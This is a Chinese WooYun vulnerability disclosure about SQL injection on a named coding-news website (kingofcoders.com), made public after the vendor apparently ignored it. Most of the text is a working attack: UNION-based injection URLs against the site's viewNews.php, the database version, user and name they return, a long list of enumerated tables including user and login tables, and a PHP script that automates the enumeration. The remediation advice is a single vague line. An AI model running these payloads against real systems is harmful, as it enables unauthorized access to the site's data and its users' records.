当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-058887

漏洞标题：编程王过滤不严格导致多处注入

相关厂商：编程王

漏洞作者： Rain

提交时间：2014-04-29 15:52

修复时间：2014-06-13 15:53

公开时间：2014-06-13 15:53

漏洞类型：SQL注射漏洞

危害等级：低

自评Rank：1

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-04-29： 积极联系厂商并且等待厂商认领中，细节不对外公开
2014-06-13： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

过滤不严格导致注入
本来是拿来做sqlmap的学习例子的，但是不知道为什么，sqlmap测试不出来结果
没办法，后来还是手动测试了

详细说明：

过滤不严格导致注入
sqlmap直接-u测试不出来，真是奇怪

漏洞证明：

手动注入测试
判断字段个数
http://www.kingofcoders.com/viewNews.php?type=newsJava&id=2288 order by 13--
测试union
http://www.kingofcoders.com/viewNews.php?type=newsJava&id=2288 and 3=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13--
查看数据库、版本、用户信息
http://www.kingofcoders.com/viewNews.php?type=newsJava&id=2288 and 3=2 union select 1,2,3,4,5,6,version(),user(),database(),10,11,12,13--
得到下面信息
KingOfCoder@localhost
5.5.34-0ubuntu0.13.04.1-log
数据库名称KingOfCoder
获取表名
http://www.kingofcoders.com/viewNews.php?type=newsJava&id=2288 and 3=2 union select 1,2,3,4,5,6,7,table_name,9,10,11,12,13 from information_schema.tables where table_schema=database() limit 0,1--
表名：MysqlSpace
http://www.kingofcoders.com/viewNews.php?type=newsJava&id=2288 and 3=2 union select 1,2,3,4,5,6,7,table_name,9,10,11,12,13 from information_schema.tables where table_schema=database() limit 1,1--
表名：alexaHistory
http://www.kingofcoders.com/viewNews.php?type=newsJava&id=2288 and 3=2 union select 1,2,3,4,5,6,7,table_name,9,10,11,12,13 from information_schema.tables where table_schema=database() limit 2,1--
表名：allProgrammingWeb
http://www.kingofcoders.com/viewNews.php?type=newsJava&id=2288 and 3=2 union select 1,2,3,4,5,6,7,table_name,9,10,11,12,13 from information_schema.tables where table_schema=database() limit 3,1--
表名：allProgrammingWebRanking
http://www.kingofcoders.com/viewNews.php?type=newsJava&id=2288 and 3=2 union select 1,2,3,4,5,6,7,table_name,9,10,11,12,13 from information_schema.tables where table_schema=database() limit 4,1--
表名：articles
http://www.kingofcoders.com/viewNews.php?type=newsJava&id=2288 and 3=2 union select 1,2,3,4,5,6,7,table_name,9,10,11,12,13 from information_schema.tables where table_schema=database() limit 5,1--
表名：commentenglish_news
http://www.kingofcoders.com/viewNews.php?type=newsJava&id=2288 and 3=2 union select 1,2,3,4,5,6,7,table_name,9,10,11,12,13 from information_schema.tables where table_schema=database() limit 6,1--
表名：commentenglish_newsCpp
http://www.kingofcoders.com/viewNews.php?type=newsJava&id=2288 and 3=2 union select 1,2,3,4,5,6,7,table_name,9,10,11,12,13 from information_schema.tables where table_schema=database() limit 7,1--
表名：commentenglish_newsDotNet
http://www.kingofcoders.com/viewNews.php?type=newsJava&id=2288 and 3=2 union select 1,2,3,4,5,6,7,table_name,9,10,11,12,13 from information_schema.tables where table_schema=database() limit 8,1--
表名：commentenglish_newsJava
http://www.kingofcoders.com/viewNews.php?type=newsJava&id=2288 and 3=2 union select 1,2,3,4,5,6,7,table_name,9,10,11,12,13 from information_schema.tables where table_schema=database() limit 9,1--
表名：commentenglish_newsLinux
http://www.kingofcoders.com/viewNews.php?type=newsJava&id=2288 and 3=2 union select 1,2,3,4,5,6,7,table_name,9,10,11,12,13 from information_schema.tables where table_schema=database() limit 10,1--
表名：commentenglish_newsPhp
http://www.kingofcoders.com/viewNews.php?type=newsJava&id=2288 and 3=2 union select 1,2,3,4,5,6,7,table_name,9,10,11,12,13 from information_schema.tables where table_schema=database() limit 11,1--
表名：commentnews
http://www.kingofcoders.com/viewNews.php?type=newsJava&id=2288 and 3=2 union select 1,2,3,4,5,6,7,table_name,9,10,11,12,13 from information_schema.tables where table_schema=database() limit 12,1--
表名：commentnewsApplication
http://www.kingofcoders.com/viewNews.php?type=newsJava&id=2288 and 3=2 union select 1,2,3,4,5,6,7,table_name,9,10,11,12,13 from information_schema.tables where table_schema=database() limit 13,1--
表名：commentnewsAssembly
http://www.kingofcoders.com/viewNews.php?type=newsJava&id=2288 and 3=2 union select 1,2,3,4,5,6,7,table_name,9,10,11,12,13 from information_schema.tables where table_schema=database() limit 14,1--
表名：commentnewsBSD
http://www.kingofcoders.com/viewNews.php?type=newsJava&id=2288 and 3=2 union select 1,2,3,4,5,6,7,table_name,9,10,11,12,13 from information_schema.tables where table_schema=database() limit 15,1--
表名：commentnewsBorland
http://www.kingofcoders.com/viewNews.php?type=newsJava&id=2288 and 3=2 union select 1,2,3,4,5,6,7,table_name,9,10,11,12,13 from information_schema.tables where table_schema=database() limit 16,1--
表名：commentnewsCpp
http://www.kingofcoders.com/viewNews.php?type=newsJava&id=2288 and 3=2 union select 1,2,3,4,5,6,7,table_name,9,10,11,12,13 from information_schema.tables where table_schema=database() limit 17,1--
表名：commentnewsDB2
http://www.kingofcoders.com/viewNews.php?type=newsJava&id=2288 and 3=2 union select 1,2,3,4,5,6,7,table_name,9,10,11,12,13 from information_schema.tables where table_schema=database() limit 18,1--
表名：commentnewsDatabase
太多表了，后续直接写一个php，测试后续的表名称

<?php
for ($i = 19; $i < 100; $i++)
{
	$url = 'http://www.kingofcoders.com/viewNews.php?type=newsJava&id=2288'.urlencode(' and 3=2 union select 1,2,3,4,5,6,7,table_name,9,10,11,12,13 from information_schema.tables where table_schema=database() limit '.$i.',1-- ');
	$ret = file_get_contents($url);
	$ret = str_replace("\r", '', $ret);
	$ret = str_replace("\n", '', $ret);
	preg_match('/newsHeader">(.*?)<\/span>/i', $ret, $match);
	if (isset($match[1]))
	{
		echo 'find table: ',$match[1],PHP_EOL;
		file_put_contents('result.txt', $match[1]."\n", FILE_APPEND);
	}
	else
	{
		echo 'run finish',PHP_EOL;
		break;
	}
}
?>


commentnewsDotNet
commentnewsEmbeddedDB
commentnewsITCert
commentnewsJava
commentnewsJobs
commentnewsLinux
commentnewsMicrosoft
commentnewsMysql
commentnewsOpenSource
commentnewsOracle
commentnewsPerl_Python
commentnewsPhp
commentnewsPostgreSQL
commentnewsProgramming
commentnewsRuby
commentnewsSQLServer
commentnewsSolaris
commentnewsStorage
commentnewsTalking
commentnewsVB6
commentnewsVC6
english_news
english_newsCpp
english_newsDotNet
english_newsDotNetTools
english_newsJava
english_newsLinux
english_newsPhp
groupsUser
jobs
keyword
keyword_bad
libraryBook
loginHistory
news
newsApplication
newsAssembly
newsBSD
newsBorland
newsCpp
newsDB2
newsDatabase
newsDotNet
newsEmbeddedDB
newsITCert
newsJava
newsJobs
newsLinux
newsMicrosoft
newsMysql
newsNetwork
newsOpenSource
newsOracle
newsPerl_Python
newsPhp
newsPostgreSQL
newsProgramming
newsRuby
newsSQLServer
newsSolaris
newsStorage
newsTalking
newsVB6
newsVC6
newsWindows
score
searchCodeHistory
syncNews
user
user_setting
viewArticleHistory
viewNewsHistory

修复方案：

过滤严格一下

版权声明：转载请注明来源 Rain@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝